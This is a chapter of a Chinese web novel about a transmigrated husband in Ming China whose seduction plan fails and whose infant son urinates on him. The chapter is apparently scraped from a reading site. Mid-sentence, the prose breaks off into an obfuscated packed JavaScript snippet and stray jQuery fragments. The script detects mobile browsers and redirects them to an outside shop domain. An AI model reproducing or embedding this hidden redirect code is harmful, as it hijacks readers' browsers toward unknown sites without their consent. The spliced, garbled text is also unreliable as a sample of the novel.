文趣网 > 其他小说 > 我在大明当讼棍那些年 > 11. 色诱
    卢元良一早就猜姜琼岚被他的皮相所诱,只是如今二人关系不睦,才造成彼此之间没有好脸色。

    但从这两日的观察来看,她显然不像姜兴文那样嫌弃和厌恶他,甚至还帮了他。

    比如今夜阻止姜兴文继续追问下去,那不是明摆着偏袒他么。

    一想到这里,卢元良就对自己的计划充满信心,打算当夜就祭出自己的大杀招美人计,为此特意摆了一个帅气的姿势。

    他站在衣架后面,一只胳膊浅撑着架子,一只手插在腰间,一条腿屈着,抬头四十五度,把一脸沉思都给了墙壁,只留一个屁-股斜对着门,专心等着姜琼岚进门。

    果然不一会儿,那门“吱呀”一声开了。

    卢元良忍住不笑出声来,心道:看我不迷......

    “姐夫。”

    嗯?不对劲。

    “姐夫?”

    卢元良僵硬地转动脖子,借着月色看见门口走进来的女人,那是手上捧着干净衣服的花照。

    “卧槽——”

    卢元良捂着裆,一下跳进浴盆里,顿时水花四溅。

    “你进来怎么不敲门?”

    卢元良大为光火,刚刚自己那做作样子,想想都......

    “你要不要衣服?”花照不理他的质问,只把手上的衣服往前伸了伸。

    “我要,可为什么是你?”

    “不然呢?”花照将衣服一股脑搭在衣架上,顺便抄走脏衣服:“你难道要岚姐儿来给你送?”

    “我......”

    别管是卢元良还是陆元良,他们都没这个待遇。

    “你一个小姑娘,也不知道害臊。”卢元良抱怨一句,试图维护自己屁-股的“清白”。

    “嗬!我不知道害臊?”花照本是要走的,听见这句话却又回了头,也不惧他,一把拽过衣架上的干净衣裳:“这话可是姐夫说的,既然你光溜溜的不能看,那我可就当自己没进来过了。”

    说完扭头就走,这给卢元良吓得不轻。

    原来还有脏衣服护住关键部位,这下好了,他要□□了。

    “等等,你回来!”再想维护“清白”,也得在现实面前低头。

    “我可不,我怕再看您一眼,就要成那不知检点的下作女人了,到时候还不知道要被怎么贬低咒骂呢。”

    “你——”卢元良想回嘴,可看她手里的衣服顿时又没了底气,只好哀求:“好姐姐,先把衣服给我好不好?”

    花照背着他站住,有那么一会子一动不动的,就在卢元良以为她不会搭理自己的时候,就见她把手里的衣服一撂,重重哼了一声:“我可担不住您一声姐姐,往后还是别叫的好,免得折煞了人。”

    卢元良眼睁睁看着小丫头甩门而去,连门都不给他掩上,尴尬的他又光溜溜地爬出来,自己将门关上了。

    花照是有些脾气的,对他也是看不顺眼的,这一点卢元良倒是早早就捋清楚了。

    说起来花照与陆元良是一道被买进来的,本该惺惺相惜,可千不该万不该,姜家给花照取了这么个名字。

    花照原先叫花朝,花照是姜兴文后来给改的名字。

    陆元良的爹叫陆照,伺候姜琼岚的丫鬟叫花照,在陆元良眼里,这是故意把他爹的名讳用在一个下人头上,以此来达到进一步打压他的目的。

    他因此记恨姜家,也不喜姜琼岚,只是不敢说些什么,于是小丫头花照就遭了殃。

    在陆元良面前她做什么都是错的,轻则一顿骂,重则伸手打,花照在他手里没少吃苦头,这情况在长大后才稍有好转。

    倒不是陆元良转性了,而是他常年在书院读书,很少在家,而花照又与姜琼岚自小为伴,情同姐妹,自然不能像小时候那样说打就打,说骂就骂。也就是近半年陆元良才露了真身,两人又开始不对付起来。

    与过去相同的是,花照依旧没有自保的能力。

    不怪自己在家两天也没见这小丫头一个好脸色,他当初更恶毒,想到这里,卢元良倒释然了。

    行吧,各有各的难处,他错了,他退还不行么。

    这一退就退到了浴房外。

    洗完澡后的卢元良神清气爽,趁着山间凉风舒坦地伸了个懒腰,谁知胳膊伸在半空就看见院中一家老小都在呢,见他出来都齐齐看向他。

    一时间那胳膊举也不是,收也不是,好不尴尬。

    “咳——那个,都在呢......”

    卢元良收回胳膊,磨磨蹭蹭地挪到几人身边,看别人一家子其乐融融。

    显儿还小,被他老丈人一双大手插在腋下,整个人稳在他的腿上,一双脚小猫踩奶一样踩来踩去,踩的大家直夸。

    “哟,我的宝贝孙子会走路了,明天就能考状元了。”

    姜琼岚难得露笑:“爹,还早呢。”

    “不早不早,三岁可识字,五岁能读书,十岁中秀才,二十岁就是状元郞了。”

    姜兴文依旧没有放弃让祖坟冒青烟的想法,只是不再寄希望于卢元良,这反而令他松了一口气。

    真逼他读书才完蛋。

    “好了,天色不早了,我先去睡,别太贪凉,早点儿回屋。”

    “知道了,爹。”

    老丈人一起身,正面迎上卢元良的脸,四目相对,两个大,两个小,干瞪了会儿。

    接着卢元良看见那双小眼睛在自己面前一翻,而后老丈人把手一背,走了。他不得不收回思绪,看显儿在姜琼岚的怀里咿咿呀呀。

    他揪着衣摆,想了半天,终于开口:“能给我抱抱么?”

    听了这话,眼前三个女人都愣住了。

    卢元良不是不知道,因为显儿不随陆元良姓,所以原主颇有怨言,因此一直冷待显儿,就是姜琼岚提出让他抱一抱他也不大乐意,如今主动提出,倒是新鲜了。

    “你会抱么?”

    卢元良笨拙地伸出手,也学着老丈人的样子坐在那里,将显儿托在自己腿上,第一次体会喜当爹的滋味。

    然而这一回显儿却不踩奶了,只睁着一双大眼睛,怔怔地看着眼前的男人,男人也盯着他看。

    就算不是自己亲生的孩子,卢元良也不得不承认,这个孩子长得实在漂亮。

    粉团一样的脸颊,眼睛又大又圆,睫毛长长,一看就吃的很好。脑袋上顶着一个虎纹软帽,比较特别的是身上那身衣服,与院中其他人都不一样,月色下带着油亮光泽,哪怕卢元良不识货,也能看出来那是贵东西。

    他看着手里的小孩,不禁想:只要自己不走,他就得管自己叫爹,跟谁生的又有什么关系呢,好好养大了,还不都是他的好大儿。

    要是姜家真的祖坟冒烟,那他可就是状元的亲爹了,这有什么不好的?

    想到这里,卢元良把牙一呲:“来,叫爹。”

    谁曾想,显儿把眉一皱,头一撇。

    “来,看着爹,叫爹。”

    “哇——哇——”

    卢元良傻了眼,抱着孩子一整个人僵在那里。伴随着显儿的哇哇叫,他只觉腿上一热,低头一看,刚刚换过的衣裳已经洇湿了一大片。

    “他......他尿了......”

    显儿在他腿上撒了好大一摊尿。

    “哎呀,快,快给

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746099|209290||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    我。”

    芸娘忙把孩子接过去,等卢元良站起来时,一条温热的水迹顺着大腿往下流去。

    “别呆着了,还不快去洗洗。”姜琼岚叮嘱道,转头又去吩咐花照:“再拿一身干净衣裳来。”

    莫名其妙的,卢元良一下洗了两个澡,人在浴房里一边冲洗一边不爽。

    都是人抱的,怎么不尿别人,单单尿他?难道连孩子都觉得他好欺负么?

    “小鬼头,早晚叫你知道我的厉害!”

    “不是亲爹怎么了?我都没嫌弃你不是我亲儿子,就不能各退一步么?”

    ......

    卢元良骂骂咧咧地把自己冲洗干净,又换了身衣裳才从浴房里出来,打眼看去,院中也已空了,刚刚还说说笑笑的的一家几口眨眼消失,独留一个寂静空院,好像幻梦一场。

    卢元良心底一慌,匆忙跑进院中,毫无目的地四处乱看,直到一丛温暖的光线落入眼中。

    那是西厢房里的烛火。

    烛火昏暗,他静静看着,隐约听见说笑声传出来。

    “你看这小腿,可真有劲儿。”

    “山风阴凉,快把抱腹穿上。”

    “哎哟,他在踹人呢。”

    “呵呵呵——”

    女人们忙碌的身影在窗上晃动,西厢房里好不热闹。

    卢元良坐在院中石凳上,就那么看着,听着,心里终于觉得安稳些。

    不知过了多久,对面厢房的门发出吱呀一声响,卢元良像从梦中惊醒,恍然间仿佛看见两位仙人自月色下向他走来。

    “怎么不回房去?”

    卢元良呆呆看着眼前人。

    今日的姜琼岚有些不大一样。

    大约是夜里无需去酒坊,洗浴过后她换穿了一件浅青色大袖的袍服,抱显儿的时候胳膊一抬,露出大半截圆润雪白的手臂。

    面容依旧是素的,就是那双眼睛,一坛清冷月光落在里头,眼波流转间像极了漂亮珍珠,看的人挪不开眼。

    姜琼岚也有些讶异。

    数月以来,她已习惯丈夫的冷脸相待,起先也不是没有费心挽回过,可是毫无效果,因此才跟父亲商量出了那么个主意。

    招数虽阴,可总比留把刀在身边的好,只没想到这招数才使没两天,这位相公就转了性,这反倒叫她看不明白了。

    “岚姐儿。”花照适时往她耳边一凑,嘀嘀咕咕地说了一通,话里的内容让她心中一惊,再转头时刚刚的好脸色已消了大半,取而代之的是满脸疑惑。

    珍珠成了打火石,卢元良一下也清醒了,有些心虚地扶着石桌站起来,搞不清楚发生了什么事。

    “姐......”

    “你好好乘凉吧。”

    说完转身就走,留下卢元良原地发愣。

    他又错哪里了?

    女人的心思怎么能这么善变呀?

    刚刚不是还好好的嘛?

    卢元良看着人走远,快到身后袍服下缘随风飘起来。

    她真的生气了。

    卢元良一头雾水地跟进屋,榻上被褥已经铺好,里间两个女人坐在床边轻轻浅浅地说着话,还时不时瞥他一眼,也不知道到底在说些什么,见着他进来,帐子一掀,两人一齐进去了。

    卢元良叹息一声,他根本搞不明白自己“老婆”到底是什么想法,怪不得他们都说女人心,海底针。

    到底要怎样才能讨好老婆啊?

    卢元良摊在榻上想,这一夜他怕是睡不好了。

    明天他应该做点什么好好表现下才对,可是做什么呢?

    “呼——呼——呼——”